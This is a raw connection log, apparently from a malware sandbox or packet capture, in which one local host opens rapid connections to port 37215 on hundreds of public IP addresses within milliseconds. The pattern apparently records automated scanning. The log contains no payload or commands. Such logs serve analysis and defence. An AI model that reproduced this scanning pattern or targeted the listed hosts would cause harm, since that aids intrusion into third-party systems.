Sep 25, 2024 14:14:12.508033991 CEST	34400	37215	192.168.2.14	41.204.4.154
Sep 25, 2024 14:14:12.508534908 CEST	54898	37215	192.168.2.14	156.202.243.110
Sep 25, 2024 14:14:12.509057045 CEST	52180	37215	192.168.2.14	41.218.113.176
Sep 25, 2024 14:14:12.509284973 CEST	37215	60534	197.105.105.62	192.168.2.14
Sep 25, 2024 14:14:12.509290934 CEST	37215	58220	197.195.215.228	192.168.2.14
Sep 25, 2024 14:14:12.509300947 CEST	37215	50860	41.144.112.76	192.168.2.14
Sep 25, 2024 14:14:12.509305954 CEST	37215	52300	197.215.137.238	192.168.2.14
Sep 25, 2024 14:14:12.509315014 CEST	37215	38752	41.98.227.98	192.168.2.14
Sep 25, 2024 14:14:12.509319067 CEST	37215	40906	156.32.42.163	192.168.2.14
Sep 25, 2024 14:14:12.509322882 CEST	37215	34708	41.218.248.203	192.168.2.14
Sep 25, 2024 14:14:12.509322882 CEST	60534	37215	192.168.2.14	197.105.105.62
Sep 25, 2024 14:14:12.509327888 CEST	37215	37966	197.231.213.174	192.168.2.14
Sep 25, 2024 14:14:12.509331942 CEST	37215	36828	156.7.180.15	192.168.2.14
Sep 25, 2024 14:14:12.509335995 CEST	37215	38998	156.91.174.178	192.168.2.14
Sep 25, 2024 14:14:12.509340048 CEST	37215	54700	156.190.198.120	192.168.2.14
Sep 25, 2024 14:14:12.509340048 CEST	58220	37215	192.168.2.14	197.195.215.228
Sep 25, 2024 14:14:12.509345055 CEST	50860	37215	192.168.2.14	41.144.112.76
Sep 25, 2024 14:14:12.509346008 CEST	52300	37215	192.168.2.14	197.215.137.238
Sep 25, 2024 14:14:12.509346008 CEST	40906	37215	192.168.2.14	156.32.42.163
Sep 25, 2024 14:14:12.509346008 CEST	38752	37215	192.168.2.14	41.98.227.98
Sep 25, 2024 14:14:12.509346008 CEST	34708	37215	192.168.2.14	41.218.248.203
Sep 25, 2024 14:14:12.509346962 CEST	37215	37374	41.155.56.243	192.168.2.14
Sep 25, 2024 14:14:12.509355068 CEST	37215	52456	197.128.136.140	192.168.2.14
Sep 25, 2024 14:14:12.509358883 CEST	37215	33902	156.55.88.200	192.168.2.14
Sep 25, 2024 14:14:12.509365082 CEST	38998	37215	192.168.2.14	156.91.174.178
Sep 25, 2024 14:14:12.509371996 CEST	37215	41616	41.240.99.197	192.168.2.14
Sep 25, 2024 14:14:12.509382010 CEST	52456	37215	192.168.2.14	197.128.136.140
Sep 25, 2024 14:14:12.509383917 CEST	36828	37215	192.168.2.14	156.7.180.15
Sep 25, 2024 14:14:12.509383917 CEST	33902	37215	192.168.2.14	156.55.88.200
Sep 25, 2024 14:14:12.509383917 CEST	37966	37215	192.168.2.14	197.231.213.174
Sep 25, 2024 14:14:12.509383917 CEST	54700	37215	192.168.2.14	156.190.198.120
Sep 25, 2024 14:14:12.509383917 CEST	37374	37215	192.168.2.14	41.155.56.243
Sep 25, 2024 14:14:12.509406090 CEST	41616	37215	192.168.2.14	41.240.99.197
Sep 25, 2024 14:14:12.509656906 CEST	42446	37215	192.168.2.14	41.175.30.52
Sep 25, 2024 14:14:12.510135889 CEST	40430	37215	192.168.2.14	41.57.178.82
Sep 25, 2024 14:14:12.510684967 CEST	37782	37215	192.168.2.14	41.126.108.91
Sep 25, 2024 14:14:12.510773897 CEST	37215	44538	41.130.204.108	192.168.2.14
Sep 25, 2024 14:14:12.510778904 CEST	37215	52956	156.90.134.66	192.168.2.14
Sep 25, 2024 14:14:12.510787964 CEST	37215	40388	197.105.233.84	192.168.2.14
Sep 25, 2024 14:14:12.510792017 CEST	37215	42986	156.118.4.206	192.168.2.14
Sep 25, 2024 14:14:12.510799885 CEST	37215	43972	41.155.176.52	192.168.2.14
Sep 25, 2024 14:14:12.510802984 CEST	37215	56458	197.232.26.242	192.168.2.14
Sep 25, 2024 14:14:12.510812044 CEST	37215	53284	197.121.164.75	192.168.2.14
Sep 25, 2024 14:14:12.510816097 CEST	37215	42892	197.76.33.3	192.168.2.14
Sep 25, 2024 14:14:12.510824919 CEST	37215	40088	156.169.23.31	192.168.2.14
Sep 25, 2024 14:14:12.510828972 CEST	37215	37776	197.125.0.253	192.168.2.14
Sep 25, 2024 14:14:12.510845900 CEST	37215	37074	41.37.226.104	192.168.2.14
Sep 25, 2024 14:14:12.510849953 CEST	37215	42824	197.17.158.253	192.168.2.14
Sep 25, 2024 14:14:12.510859013 CEST	37215	41776	156.132.215.112	192.168.2.14
Sep 25, 2024 14:14:12.510862112 CEST	37215	47386	41.254.134.205	192.168.2.14
Sep 25, 2024 14:14:12.510870934 CEST	37215	55590	197.212.255.42	192.168.2.14
Sep 25, 2024 14:14:12.510875940 CEST	37215	46442	156.155.163.180	192.168.2.14
Sep 25, 2024 14:14:12.510885000 CEST	37215	55248	156.180.154.78	192.168.2.14
Sep 25, 2024 14:14:12.510889053 CEST	37215	54716	156.14.29.34	192.168.2.14
Sep 25, 2024 14:14:12.510896921 CEST	37215	44490	156.37.0.164	192.168.2.14
Sep 25, 2024 14:14:12.510900974 CEST	37215	53212	156.90.134.66	192.168.2.14
Sep 25, 2024 14:14:12.510910034 CEST	37215	56714	197.232.26.242	192.168.2.14
Sep 25, 2024 14:14:12.511225939 CEST	37148	37215	192.168.2.14	156.116.96.173
Sep 25, 2024 14:14:12.511284113 CEST	37215	38032	197.125.0.253	192.168.2.14
Sep 25, 2024 14:14:12.511394024 CEST	37215	37330	41.37.226.104	192.168.2.14
Sep 25, 2024 14:14:12.511399984 CEST	37215	42032	156.132.215.112	192.168.2.14
Sep 25, 2024 14:14:12.511409044 CEST	37215	53540	197.121.164.75	192.168.2.14
Sep 25, 2024 14:14:12.511413097 CEST	37215	32866	156.231.58.213	192.168.2.14
Sep 25, 2024 14:14:12.511416912 CEST	37215	56682	156.69.218.3	192.168.2.14
Sep 25, 2024 14:14:12.511420965 CEST	37215	53724	197.75.201.244	192.168.2.14
Sep 25, 2024 14:14:12.511425018 CEST	37215	50122	156.126.243.85	192.168.2.14
Sep 25, 2024 14:14:12.511432886 CEST	37215	51930	156.2.243.208	192.168.2.14
Sep 25, 2024 14:14:12.511437893 CEST	37215	33568	41.120.46.143	192.168.2.14
Sep 25, 2024 14:14:12.511445999 CEST	37215	43874	156.9.136.189	192.168.2.14
Sep 25, 2024 14:14:12.511450052 CEST	37215	50866	41.195.147.108	192.168.2.14
Sep 25, 2024 14:14:12.511459112 CEST	37215	46192	197.250.119.4	192.168.2.14
Sep 25, 2024 14:14:12.511462927 CEST	37215	50612	197.97.143.250	192.168.2.14
Sep 25, 2024 14:14:12.511471033 CEST	37215	54920	197.92.57.124	192.168.2.14
Sep 25, 2024 14:14:12.511475086 CEST	37215	60182	197.230.188.227	192.168.2.14
Sep 25, 2024 14:14:12.511478901 CEST	37215	41892	156.73.31.180	192.168.2.14
Sep 25, 2024 14:14:12.511482954 CEST	37215	42738	41.91.175.25	192.168.2.14
Sep 25, 2024 14:14:12.511486053 CEST	37215	55952	197.252.100.138	192.168.2.14
Sep 25, 2024 14:14:12.511497021 CEST	37215	41958	197.120.188.58	192.168.2.14
Sep 25, 2024 14:14:12.511501074 CEST	37215	43840	197.209.0.69	192.168.2.14
Sep 25, 2024 14:14:12.511518002 CEST	37215	55280	41.78.144.231	192.168.2.14
Sep 25, 2024 14:14:12.511523962 CEST	37215	52038	197.239.155.59	192.168.2.14
Sep 25, 2024 14:14:12.511528015 CEST	37215	54748	197.209.97.208	192.168.2.14
Sep 25, 2024 14:14:12.511532068 CEST	37215	46130	197.34.128.199	192.168.2.14
Sep 25, 2024 14:14:12.511540890 CEST	37215	41340	41.250.164.45	192.168.2.14
Sep 25, 2024 14:14:12.511544943 CEST	37215	32846	197.48.130.100	192.168.2.14
Sep 25, 2024 14:14:12.511553049 CEST	37215	54332	197.154.137.148	192.168.2.14
Sep 25, 2024 14:14:12.511557102 CEST	37215	59640	156.22.110.107	192.168.2.14
Sep 25, 2024 14:14:12.511565924 CEST	37215	35748	41.82.232.246	192.168.2.14
Sep 25, 2024 14:14:12.511569977 CEST	37215	58022	41.218.100.111	192.168.2.14
Sep 25, 2024 14:14:12.511574030 CEST	37215	55746	156.249.130.124	192.168.2.14
Sep 25, 2024 14:14:12.511578083 CEST	37215	47282	41.203.2.228	192.168.2.14
Sep 25, 2024 14:14:12.511585951 CEST	37215	55936	41.118.189.247	192.168.2.14
Sep 25, 2024 14:14:12.511590004 CEST	37215	53188	197.135.92.242	192.168.2.14
Sep 25, 2024 14:14:12.511594057 CEST	37215	45500	197.151.246.17	192.168.2.14
Sep 25, 2024 14:14:12.511603117 CEST	37215	54574	41.139.18.55	192.168.2.14
Sep 25, 2024 14:14:12.511606932 CEST	37215	56084	197.253.49.237	192.168.2.14
Sep 25, 2024 14:14:12.511620045 CEST	37215	38336	41.201.175.19	192.168.2.14
Sep 25, 2024 14:14:12.511624098 CEST	37215	46212	156.236.134.70	192.168.2.14
Sep 25, 2024 14:14:12.511632919 CEST	37215	51148	156.85.177.51	192.168.2.14
Sep 25, 2024 14:14:12.511636972 CEST	37215	49694	156.178.49.196	192.168.2.14
Sep 25, 2024 14:14:12.511646986 CEST	37215	49262	41.164.245.164	192.168.2.14
Sep 25, 2024 14:14:12.511652946 CEST	37215	43108	156.53.157.21	192.168.2.14
Sep 25, 2024 14:14:12.511657000 CEST	37215	39262	41.0.9.95	192.168.2.14
Sep 25, 2024 14:14:12.511661053 CEST	37215	48548	41.172.110.5	192.168.2.14
Sep 25, 2024 14:14:12.511665106 CEST	37215	42210	41.108.0.157	192.168.2.14
Sep 25, 2024 14:14:12.511668921 CEST	37215	42912	41.153.113.249	192.168.2.14
Sep 25, 2024 14:14:12.511672020 CEST	37215	50560	41.118.111.214	192.168.2.14
Sep 25, 2024 14:14:12.511677027 CEST	37215	54028	197.58.23.178	192.168.2.14
Sep 25, 2024 14:14:12.511679888 CEST	37215	36024	41.127.125.4	192.168.2.14
Sep 25, 2024 14:14:12.511689901 CEST	37215	40670	41.206.233.3	192.168.2.14
Sep 25, 2024 14:14:12.511693954 CEST	37215	60260	156.167.26.116	192.168.2.14
Sep 25, 2024 14:14:12.511707067 CEST	37215	50856	156.81.106.200	192.168.2.14
Sep 25, 2024 14:14:12.511710882 CEST	37215	54762	197.19.140.61	192.168.2.14
Sep 25, 2024 14:14:12.511719942 CEST	37215	51804	156.77.18.48	192.168.2.14
Sep 25, 2024 14:14:12.511723995 CEST	37215	47930	197.160.218.177	192.168.2.14
Sep 25, 2024 14:14:12.511733055 CEST	37215	39010	197.233.180.85	192.168.2.14
Sep 25, 2024 14:14:12.511738062 CEST	37215	47742	41.222.122.162	192.168.2.14
Sep 25, 2024 14:14:12.511745930 CEST	37215	40830	197.27.71.218	192.168.2.14
Sep 25, 2024 14:14:12.511749983 CEST	37215	53530	197.69.151.113	192.168.2.14
Sep 25, 2024 14:14:12.511759043 CEST	37215	59128	156.123.186.109	192.168.2.14
Sep 25, 2024 14:14:12.511761904 CEST	37215	54662	41.17.5.69	192.168.2.14
Sep 25, 2024 14:14:12.511771917 CEST	37215	43554	41.225.68.243	192.168.2.14
Sep 25, 2024 14:14:12.511776924 CEST	37215	48274	197.237.148.180	192.168.2.14
Sep 25, 2024 14:14:12.511780977 CEST	37215	42180	197.202.40.81	192.168.2.14
Sep 25, 2024 14:14:12.511950016 CEST	37534	37215	192.168.2.14	41.217.97.239
Sep 25, 2024 14:14:12.512171030 CEST	37215	55040	41.193.139.67	192.168.2.14
Sep 25, 2024 14:14:12.512176037 CEST	37215	35320	41.50.90.84	192.168.2.14
Sep 25, 2024 14:14:12.512180090 CEST	37215	40026	197.144.251.169	192.168.2.14
Sep 25, 2024 14:14:12.512183905 CEST	37215	53922	197.7.86.235	192.168.2.14
Sep 25, 2024 14:14:12.512192965 CEST	37215	37210	156.23.38.211	192.168.2.14
Sep 25, 2024 14:14:12.512197971 CEST	37215	48026	197.212.59.163	192.168.2.14
Sep 25, 2024 14:14:12.512206078 CEST	37215	40026	197.144.251.169	192.168.2.14
Sep 25, 2024 14:14:12.512209892 CEST	37215	35320	41.50.90.84	192.168.2.14
Sep 25, 2024 14:14:12.512217999 CEST	37215	55040	41.193.139.67	192.168.2.14
Sep 25, 2024 14:14:12.512221098 CEST	37215	42180	197.202.40.81	192.168.2.14
Sep 25, 2024 14:14:12.512229919 CEST	37215	48274	197.237.148.180	192.168.2.14
Sep 25, 2024 14:14:12.512233973 CEST	37215	43554	41.225.68.243	192.168.2.14
Sep 25, 2024 14:14:12.512233973 CEST	48026	37215	192.168.2.14	197.212.59.163
Sep 25, 2024 14:14:12.512237072 CEST	37215	54662	41.17.5.69	192.168.2.14
Sep 25, 2024 14:14:12.512242079 CEST	35320	37215	192.168.2.14	41.50.90.84
Sep 25, 2024 14:14:12.512248993 CEST	37215	59128	156.123.186.109	192.168.2.14
Sep 25, 2024 14:14:12.512249947 CEST	55040	37215	192.168.2.14	41.193.139.67
Sep 25, 2024 14:14:12.512260914 CEST	40026	37215	192.168.2.14	197.144.251.169
Sep 25, 2024 14:14:12.512264013 CEST	42180	37215	192.168.2.14	197.202.40.81
Sep 25, 2024 14:14:12.512267113 CEST	59128	37215	192.168.2.14	156.123.186.109
Sep 25, 2024 14:14:12.512268066 CEST	48274	37215	192.168.2.14	197.237.148.180
Sep 25, 2024 14:14:12.512274981 CEST	54662	37215	192.168.2.14	41.17.5.69
Sep 25, 2024 14:14:12.512281895 CEST	43554	37215	192.168.2.14	41.225.68.243
Sep 25, 2024 14:14:12.512341976 CEST	37215	53530	197.69.151.113	192.168.2.14
Sep 25, 2024 14:14:12.512346029 CEST	37215	40830	197.27.71.218	192.168.2.14
Sep 25, 2024 14:14:12.512377024 CEST	40830	37215	192.168.2.14	197.27.71.218
Sep 25, 2024 14:14:12.512458086 CEST	53530	37215	192.168.2.14	197.69.151.113
Sep 25, 2024 14:14:12.512471914 CEST	44252	37215	192.168.2.14	197.75.103.164
Sep 25, 2024 14:14:12.512629032 CEST	37215	47742	41.222.122.162	192.168.2.14
Sep 25, 2024 14:14:12.512633085 CEST	37215	39010	197.233.180.85	192.168.2.14
Sep 25, 2024 14:14:12.512643099 CEST	37215	47930	197.160.218.177	192.168.2.14
Sep 25, 2024 14:14:12.512654066 CEST	37215	51804	156.77.18.48	192.168.2.14
Sep 25, 2024 14:14:12.512658119 CEST	37215	54762	197.19.140.61	192.168.2.14
Sep 25, 2024 14:14:12.512661934 CEST	37215	50856	156.81.106.200	192.168.2.14
Sep 25, 2024 14:14:12.512665033 CEST	37215	60260	156.167.26.116	192.168.2.14
Sep 25, 2024 14:14:12.512665987 CEST	47742	37215	192.168.2.14	41.222.122.162
Sep 25, 2024 14:14:12.512666941 CEST	39010	37215	192.168.2.14	197.233.180.85
Sep 25, 2024 14:14:12.512670040 CEST	47930	37215	192.168.2.14	197.160.218.177
Sep 25, 2024 14:14:12.512676001 CEST	37215	40670	41.206.233.3	192.168.2.14
Sep 25, 2024 14:14:12.512680054 CEST	37215	36024	41.127.125.4	192.168.2.14
Sep 25, 2024 14:14:12.512682915 CEST	37215	54028	197.58.23.178	192.168.2.14
Sep 25, 2024 14:14:12.512686968 CEST	37215	50560	41.118.111.214	192.168.2.14
Sep 25, 2024 14:14:12.512687922 CEST	54762	37215	192.168.2.14	197.19.140.61
Sep 25, 2024 14:14:12.512689114 CEST	60260	37215	192.168.2.14	156.167.26.116
Sep 25, 2024 14:14:12.512690067 CEST	37215	42912	41.153.113.249	192.168.2.14
Sep 25, 2024 14:14:12.512693882 CEST	37215	42210	41.108.0.157	192.168.2.14
Sep 25, 2024 14:14:12.512693882 CEST	51804	37215	192.168.2.14	156.77.18.48
Sep 25, 2024 14:14:12.512696028 CEST	40670	37215	192.168.2.14	41.206.233.3
Sep 25, 2024 14:14:12.512696981 CEST	37215	48548	41.172.110.5	192.168.2.14
Sep 25, 2024 14:14:12.512701035 CEST	37215	39262	41.0.9.95	192.168.2.14
Sep 25, 2024 14:14:12.512703896 CEST	36024	37215	192.168.2.14	41.127.125.4
Sep 25, 2024 14:14:12.512705088 CEST	37215	43108	156.53.157.21	192.168.2.14
Sep 25, 2024 14:14:12.512708902 CEST	37215	49262	41.164.245.164	192.168.2.14
Sep 25, 2024 14:14:12.512713909 CEST	50856	37215	192.168.2.14	156.81.106.200
Sep 25, 2024 14:14:12.512715101 CEST	42912	37215	192.168.2.14	41.153.113.249
Sep 25, 2024 14:14:12.512716055 CEST	50560	37215	192.168.2.14	41.118.111.214
Sep 25, 2024 14:14:12.512716055 CEST	54028	37215	192.168.2.14	197.58.23.178
Sep 25, 2024 14:14:12.512721062 CEST	37215	49694	156.178.49.196	192.168.2.14
Sep 25, 2024 14:14:12.512723923 CEST	48548	37215	192.168.2.14	41.172.110.5
Sep 25, 2024 14:14:12.512725115 CEST	37215	51148	156.85.177.51	192.168.2.14
Sep 25, 2024 14:14:12.512727022 CEST	42210	37215	192.168.2.14	41.108.0.157
Sep 25, 2024 14:14:12.512728930 CEST	37215	46212	156.236.134.70	192.168.2.14
Sep 25, 2024 14:14:12.512732029 CEST	37215	38336	41.201.175.19	192.168.2.14
Sep 25, 2024 14:14:12.512736082 CEST	37215	56084	197.253.49.237	192.168.2.14
Sep 25, 2024 14:14:12.512736082 CEST	39262	37215	192.168.2.14	41.0.9.95
Sep 25, 2024 14:14:12.512736082 CEST	43108	37215	192.168.2.14	156.53.157.21
Sep 25, 2024 14:14:12.512739897 CEST	49262	37215	192.168.2.14	41.164.245.164
Sep 25, 2024 14:14:12.512746096 CEST	37215	54574	41.139.18.55	192.168.2.14
Sep 25, 2024 14:14:12.512747049 CEST	51148	37215	192.168.2.14	156.85.177.51
Sep 25, 2024 14:14:12.512751102 CEST	37215	45500	197.151.246.17	192.168.2.14
Sep 25, 2024 14:14:12.512753963 CEST	37215	53188	197.135.92.242	192.168.2.14
Sep 25, 2024 14:14:12.512763023 CEST	56084	37215	192.168.2.14	197.253.49.237
Sep 25, 2024 14:14:12.512769938 CEST	38336	37215	192.168.2.14	41.201.175.19
Sep 25, 2024 14:14:12.512773991 CEST	49694	37215	192.168.2.14	156.178.49.196
Sep 25, 2024 14:14:12.512773991 CEST	46212	37215	192.168.2.14	156.236.134.70
Sep 25, 2024 14:14:12.512774944 CEST	54574	37215	192.168.2.14	41.139.18.55
Sep 25, 2024 14:14:12.512774944 CEST	45500	37215	192.168.2.14	197.151.246.17
Sep 25, 2024 14:14:12.512801886 CEST	53188	37215	192.168.2.14	197.135.92.242
Sep 25, 2024 14:14:12.513012886 CEST	37215	55936	41.118.189.247	192.168.2.14
Sep 25, 2024 14:14:12.513017893 CEST	37215	47282	41.203.2.228	192.168.2.14
Sep 25, 2024 14:14:12.513020992 CEST	37215	55746	156.249.130.124	192.168.2.14
Sep 25, 2024 14:14:12.513025045 CEST	37215	58022	41.218.100.111	192.168.2.14
Sep 25, 2024 14:14:12.513026953 CEST	50886	37215	192.168.2.14	41.203.135.99
Sep 25, 2024 14:14:12.513041973 CEST	47282	37215	192.168.2.14	41.203.2.228
Sep 25, 2024 14:14:12.513051987 CEST	55746	37215	192.168.2.14	156.249.130.124
Sep 25, 2024 14:14:12.513079882 CEST	55936	37215	192.168.2.14	41.118.189.247
Sep 25, 2024 14:14:12.513079882 CEST	58022	37215	192.168.2.14	41.218.100.111
Sep 25, 2024 14:14:12.513165951 CEST	37215	35748	41.82.232.246	192.168.2.14
Sep 25, 2024 14:14:12.513206005 CEST	35748	37215	192.168.2.14	41.82.232.246
Sep 25, 2024 14:14:12.513230085 CEST	37215	59640	156.22.110.107	192.168.2.14
Sep 25, 2024 14:14:12.513235092 CEST	37215	54332	197.154.137.148	192.168.2.14
Sep 25, 2024 14:14:12.513238907 CEST	37215	32846	197.48.130.100	192.168.2.14
Sep 25, 2024 14:14:12.513242960 CEST	37215	41340	41.250.164.45	192.168.2.14
Sep 25, 2024 14:14:12.513246059 CEST	37215	46130	197.34.128.199	192.168.2.14
Sep 25, 2024 14:14:12.513254881 CEST	37215	54748	197.209.97.208	192.168.2.14
Sep 25, 2024 14:14:12.513257980 CEST	59640	37215	192.168.2.14	156.22.110.107
Sep 25, 2024 14:14:12.513257980 CEST	37215	52038	197.239.155.59	192.168.2.14
Sep 25, 2024 14:14:12.513262033 CEST	37215	55280	41.78.144.231	192.168.2.14
Sep 25, 2024 14:14:12.513266087 CEST	37215	43840	197.209.0.69	192.168.2.14
Sep 25, 2024 14:14:12.513267994 CEST	41340	37215	192.168.2.14	41.250.164.45
Sep 25, 2024 14:14:12.513269901 CEST	37215	41958	197.120.188.58	192.168.2.14
Sep 25, 2024 14:14:12.513273954 CEST	37215	55952	197.252.100.138	192.168.2.14
Sep 25, 2024 14:14:12.513277054 CEST	37215	42738	41.91.175.25	192.168.2.14
Sep 25, 2024 14:14:12.513278961 CEST	54332	37215	192.168.2.14	197.154.137.148
Sep 25, 2024 14:14:12.513279915 CEST	46130	37215	192.168.2.14	197.34.128.199
Sep 25, 2024 14:14:12.513278961 CEST	32846	37215	192.168.2.14	197.48.130.100
Sep 25, 2024 14:14:12.513282061 CEST	37215	41892	156.73.31.180	192.168.2.14
Sep 25, 2024 14:14:12.513286114 CEST	37215	60182	197.230.188.227	192.168.2.14
Sep 25, 2024 14:14:12.513288975 CEST	54748	37215	192.168.2.14	197.209.97.208
Sep 25, 2024 14:14:12.513289928 CEST	37215	54920	197.92.57.124	192.168.2.14
Sep 25, 2024 14:14:12.513288975 CEST	43840	37215	192.168.2.14	197.209.0.69
Sep 25, 2024 14:14:12.513288021 CEST	55280	37215	192.168.2.14	41.78.144.231
Sep 25, 2024 14:14:12.513293028 CEST	55952	37215	192.168.2.14	197.252.100.138
Sep 25, 2024 14:14:12.513288975 CEST	52038	37215	192.168.2.14	197.239.155.59
Sep 25, 2024 14:14:12.513288021 CEST	41958	37215	192.168.2.14	197.120.188.58
Sep 25, 2024 14:14:12.513298035 CEST	42738	37215	192.168.2.14	41.91.175.25
Sep 25, 2024 14:14:12.513303995 CEST	41892	37215	192.168.2.14	156.73.31.180
Sep 25, 2024 14:14:12.513309956 CEST	60182	37215	192.168.2.14	197.230.188.227
Sep 25, 2024 14:14:12.513313055 CEST	54920	37215	192.168.2.14	197.92.57.124
Sep 25, 2024 14:14:12.513369083 CEST	37215	50612	197.97.143.250	192.168.2.14
Sep 25, 2024 14:14:12.513372898 CEST	37215	46192	197.250.119.4	192.168.2.14
Sep 25, 2024 14:14:12.513381958 CEST	37215	50866	41.195.147.108	192.168.2.14
Sep 25, 2024 14:14:12.513385057 CEST	37215	43874	156.9.136.189	192.168.2.14
Sep 25, 2024 14:14:12.513392925 CEST	37215	33568	41.120.46.143	192.168.2.14
Sep 25, 2024 14:14:12.513396978 CEST	37215	51930	156.2.243.208	192.168.2.14
Sep 25, 2024 14:14:12.513398886 CEST	46192	37215	192.168.2.14	197.250.119.4
Sep 25, 2024 14:14:12.513402939 CEST	50612	37215	192.168.2.14	197.97.143.250
Sep 25, 2024 14:14:12.513405085 CEST	50866	37215	192.168.2.14	41.195.147.108
Sep 25, 2024 14:14:12.513410091 CEST	43874	37215	192.168.2.14	156.9.136.189
Sep 25, 2024 14:14:12.513423920 CEST	51930	37215	192.168.2.14	156.2.243.208
Sep 25, 2024 14:14:12.513426065 CEST	33568	37215	192.168.2.14	41.120.46.143
Sep 25, 2024 14:14:12.513544083 CEST	37215	50122	156.126.243.85	192.168.2.14
Sep 25, 2024 14:14:12.513547897 CEST	37215	53724	197.75.201.244	192.168.2.14
Sep 25, 2024 14:14:12.513556957 CEST	37215	56682	156.69.218.3	192.168.2.14
Sep 25, 2024 14:14:12.513580084 CEST	53724	37215	192.168.2.14	197.75.201.244
Sep 25, 2024 14:14:12.513581991 CEST	50122	37215	192.168.2.14	156.126.243.85
Sep 25, 2024 14:14:12.513591051 CEST	56682	37215	192.168.2.14	156.69.218.3
Sep 25, 2024 14:14:12.513602018 CEST	40998	37215	192.168.2.14	41.94.82.29
Sep 25, 2024 14:14:12.513992071 CEST	37215	32866	156.231.58.213	192.168.2.14
Sep 25, 2024 14:14:12.513995886 CEST	37215	53540	197.121.164.75	192.168.2.14
Sep 25, 2024 14:14:12.514004946 CEST	37215	42032	156.132.215.112	192.168.2.14
Sep 25, 2024 14:14:12.514008999 CEST	37215	37330	41.37.226.104	192.168.2.14
Sep 25, 2024 14:14:12.514018059 CEST	37215	38032	197.125.0.253	192.168.2.14
Sep 25, 2024 14:14:12.514022112 CEST	37215	56714	197.232.26.242	192.168.2.14
Sep 25, 2024 14:14:12.514024019 CEST	32866	37215	192.168.2.14	156.231.58.213
Sep 25, 2024 14:14:12.514024973 CEST	37215	53212	156.90.134.66	192.168.2.14
Sep 25, 2024 14:14:12.514024019 CEST	53540	37215	192.168.2.14	197.121.164.75
Sep 25, 2024 14:14:12.514029026 CEST	42032	37215	192.168.2.14	156.132.215.112
Sep 25, 2024 14:14:12.514033079 CEST	37215	44490	156.37.0.164	192.168.2.14
Sep 25, 2024 14:14:12.514036894 CEST	37215	54716	156.14.29.34	192.168.2.14
Sep 25, 2024 14:14:12.514040947 CEST	37215	55248	156.180.154.78	192.168.2.14
Sep 25, 2024 14:14:12.514044046 CEST	37215	46442	156.155.163.180	192.168.2.14
Sep 25, 2024 14:14:12.514046907 CEST	56714	37215	192.168.2.14	197.232.26.242
Sep 25, 2024 14:14:12.514048100 CEST	37215	55590	197.212.255.42	192.168.2.14
Sep 25, 2024 14:14:12.514060020 CEST	37215	47386	41.254.134.205	192.168.2.14
Sep 25, 2024 14:14:12.514064074 CEST	54716	37215	192.168.2.14	156.14.29.34
Sep 25, 2024 14:14:12.514065981 CEST	38032	37215	192.168.2.14	197.125.0.253
Sep 25, 2024 14:14:12.514065981 CEST	53212	37215	192.168.2.14	156.90.134.66
Sep 25, 2024 14:14:12.514065981 CEST	44490	37215	192.168.2.14	156.37.0.164
Sep 25, 2024 14:14:12.514071941 CEST	37215	42824	197.17.158.253	192.168.2.14
Sep 25, 2024 14:14:12.514072895 CEST	55590	37215	192.168.2.14	197.212.255.42
Sep 25, 2024 14:14:12.514072895 CEST	37330	37215	192.168.2.14	41.37.226.104
Sep 25, 2024 14:14:12.514072895 CEST	55248	37215	192.168.2.14	156.180.154.78
Sep 25, 2024 14:14:12.514072895 CEST	46442	37215	192.168.2.14	156.155.163.180
Sep 25, 2024 14:14:12.514077902 CEST	37215	60812	197.85.20.91	192.168.2.14
Sep 25, 2024 14:14:12.514084101 CEST	47386	37215	192.168.2.14	41.254.134.205
Sep 25, 2024 14:14:12.514086962 CEST	37215	42730	156.118.4.206	192.168.2.14
Sep 25, 2024 14:14:12.514091969 CEST	37215	47130	41.254.134.205	192.168.2.14
Sep 25, 2024 14:14:12.514095068 CEST	37215	50796	197.211.174.27	192.168.2.14
Sep 25, 2024 14:14:12.514098883 CEST	37215	55954	41.70.223.81	192.168.2.14
Sep 25, 2024 14:14:12.514102936 CEST	37215	50342	41.14.114.34	192.168.2.14
Sep 25, 2024 14:14:12.514106035 CEST	42824	37215	192.168.2.14	197.17.158.253
Sep 25, 2024 14:14:12.514111042 CEST	37215	55334	197.212.255.42	192.168.2.14
Sep 25, 2024 14:14:12.514405012 CEST	37215	54460	156.14.29.34	192.168.2.14
Sep 25, 2024 14:14:12.514410019 CEST	37215	57300	156.179.106.40	192.168.2.14
Sep 25, 2024 14:14:12.514413118 CEST	37215	40088	156.169.23.31	192.168.2.14
Sep 25, 2024 14:14:12.514417887 CEST	37215	46186	156.155.163.180	192.168.2.14
Sep 25, 2024 14:14:12.514421940 CEST	37215	54992	156.180.154.78	192.168.2.14
Sep 25, 2024 14:14:12.514425993 CEST	37215	44234	156.37.0.164	192.168.2.14
Sep 25, 2024 14:14:12.514448881 CEST	40088	37215	192.168.2.14	156.169.23.31
Sep 25, 2024 14:14:12.514475107 CEST	40384	37215	192.168.2.14	156.137.34.27
Sep 25, 2024 14:14:12.514555931 CEST	37215	42892	197.76.33.3	192.168.2.14
Sep 25, 2024 14:14:12.514559984 CEST	37215	43972	41.155.176.52	192.168.2.14
Sep 25, 2024 14:14:12.514569044 CEST	37215	42986	156.118.4.206	192.168.2.14
Sep 25, 2024 14:14:12.514571905 CEST	37215	40388	197.105.233.84	192.168.2.14
Sep 25, 2024 14:14:12.514580011 CEST	37215	44538	41.130.204.108	192.168.2.14
Sep 25, 2024 14:14:12.514584064 CEST	37215	57300	156.179.106.40	192.168.2.14
Sep 25, 2024 14:14:12.514596939 CEST	42986	37215	192.168.2.14	156.118.4.206
Sep 25, 2024 14:14:12.514597893 CEST	43972	37215	192.168.2.14	41.155.176.52
Sep 25, 2024 14:14:12.514599085 CEST	42892	37215	192.168.2.14	197.76.33.3
Sep 25, 2024 14:14:12.514704943 CEST	40388	37215	192.168.2.14	197.105.233.84
Sep 25, 2024 14:14:12.514704943 CEST	44538	37215	192.168.2.14	41.130.204.108
Sep 25, 2024 14:14:12.514704943 CEST	57300	37215	192.168.2.14	156.179.106.40
Sep 25, 2024 14:14:12.515196085 CEST	35854	37215	192.168.2.14	197.72.52.161
Sep 25, 2024 14:14:12.516104937 CEST	60642	37215	192.168.2.14	41.114.142.228
Sep 25, 2024 14:14:12.516839981 CEST	49290	37215	192.168.2.14	156.201.222.189
Sep 25, 2024 14:14:12.518088102 CEST	60486	37215	192.168.2.14	197.126.2.56
Sep 25, 2024 14:14:12.518264055 CEST	37215	44282	41.130.204.108	192.168.2.14
Sep 25, 2024 14:14:12.518269062 CEST	37215	57044	156.179.106.40	192.168.2.14
Sep 25, 2024 14:14:12.518276930 CEST	37215	40132	197.105.233.84	192.168.2.14
Sep 25, 2024 14:14:12.518315077 CEST	37215	50342	41.14.114.34	192.168.2.14
